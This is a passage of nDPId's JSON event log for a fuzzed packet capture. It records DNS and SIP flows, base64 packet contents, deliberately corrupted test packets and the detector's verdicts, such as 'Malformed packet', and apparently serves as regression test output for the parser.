+00467{"flow_id":209,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470866,"pkt_ts_usec":711535,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa8gAAIARS4jAqAECwKgBAQr2ADUANKezghsBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJYzRiZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":209,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470868,"pkt_ts_usec":714284,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADB0ADRWAODtAW69CABFAABIa8kAAIARS4jAqAECwKgBAQr2ADUANKezghsBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":209,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470870,"pkt_ts_usec":717164,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBrADRWAODtAW69CABFAABIa8oAAIARW4fAqAECwKgBAQr2ADUANKezghsBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3hiZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":209,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470874,"pkt_ts_usec":723383,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa8sAAIARS4bAqAECwKgBAQr2ADUANKezghsBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AlFrAAAhAAE="} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":565,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":2,"flow_first_seen":1120470267920,"flow_last_seen":1120470267922,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2767,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":565,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1120470865650,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2805,"dst_port":51,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":565,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1120470865650,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2805,"dst_port":51,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":565,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1120470865651,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2805,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":568,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470882,"pkt_ts_usec":724943,"pkt_caplen":82,"pkt_type":2056,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CAhFAABEa88AAIARS4bCqAECwKgBAQr3ADUAMHGrsxwAAAABAAAAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":568,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":2056} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":569,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1120470882726,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2807,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":210,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470882,"pkt_ts_usec":726443,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CvcAR1QnsxyAAAABAAEAAAAAASVzAAEwAzEyNwdpbi1hZGRyBGF2cGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":569,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1120470882726,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2807,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":571,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1120470882846,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2808,"dst_port":38709,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":211,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470882,"pkt_ts_usec":846553,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa9EAAIARS4DAqAECwKgBAQr4lzUAND6uRB4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":572,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1120470883845,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2808,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":212,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470883,"pkt_ts_usec":845876,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa9IAAIARS3\/AqAECwKgBAQr4ADUAND6u6x4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAHghAAE="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":572,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1120470883845,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2808,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":30753,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":212,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470885,"pkt_ts_usec":848866,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa9MAAIARS37AqAECwKgBAQr4ADUAND6u6x4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":573,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":2,"flow_first_seen":1120470883845,"flow_last_seen":1120470885848,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2808,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00502{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1120470882846,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2808,"dst_port":38709,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1120470882846,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2808,"dst_port":38709,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":2,"flow_first_seen":1120470267925,"flow_last_seen":1120470276933,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1120470882726,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2807,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470887,"pkt_ts_usec":851669,"pkt_caplen":86,"pkt_type":43392,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69qYBFAABI\/dQAAIARS33AqAECwKgBAXP4ADUAND6u6x4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaWJ5AmRrAAAhAAE="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43392} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":575,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":1120470891857,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":19192,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":213,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470891,"pkt_ts_usec":857378,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa1YAAIARS3zAqAECwKgBAUr4ADUAND6u6x4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":575,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":1120470891857,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":19192,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":576,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":1120470891857,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":19192,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":576,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1120470899859,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2809,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":214,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470899,"pkt_ts_usec":859727,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEVdYAAIARS3\/AqAECwKgBAQr5ADUAMKjFfAAAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":576,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1120470899859,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2809,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":214,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470899,"pkt_ts_usec":861231,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CvkAR4tBfACAAAABAgEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":577,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":2,"flow_first_seen":1120470899859,"flow_last_seen":1120470899861,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2809,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":578,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":1120470899862,"flow_last_seen":0,"flow_tot_l4_data_len":1084,"flow_min_l4_data_len":1084,"flow_max_l4_data_len":1084,"flow_avg_l4_data_len":1084,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":5060,"dst_port":17860,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01851{"flow_id":215,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470899,"pkt_ts_usec":862890,"pkt_caplen":1118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1118,"pkt_l4_len":1084,"pkt":"ADBUADRWAODtAW6\/CABFAARQa9cAAIAREwbAqAEC1PIhIxPERcQEPH6wSU5WSVRFIHNpeDowMDk3MjM5Mjg3MDQ0QHNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ek\/oRzRiS25wMjAyMzgyNzWqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":579,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1120470899865,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.170.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":216,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470899,"pkt_ts_usec":865018,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa9gAAIARS3nAqgECwKgBAQr6ADUANDnJ8AEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrd0YhAAE="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":579,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1120470899865,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.170.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":583,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1120470900860,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":217,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470900,"pkt_ts_usec":860342,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa9oAAIARS3fAqAECwKgBAQr6ADUANDnU8AEBAAABAAAAAAAABF9zaXAEX3VkcQNzaXAJTXliZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":583,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1120470900860,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udq.sip.mybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":217,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470902,"pkt_ts_usec":863232,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa9sAAIARS3bAqAECwKgBAQr6ADUANDnJ8AEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAheQE="} +00467{"flow_id":217,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":587,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470904,"pkt_ts_usec":866086,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa9wAAIARS3XAqAECwKgBAQr6ADUANDnJ8AEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJTnliZXJjaXR5AmRrAAAhAAE="} 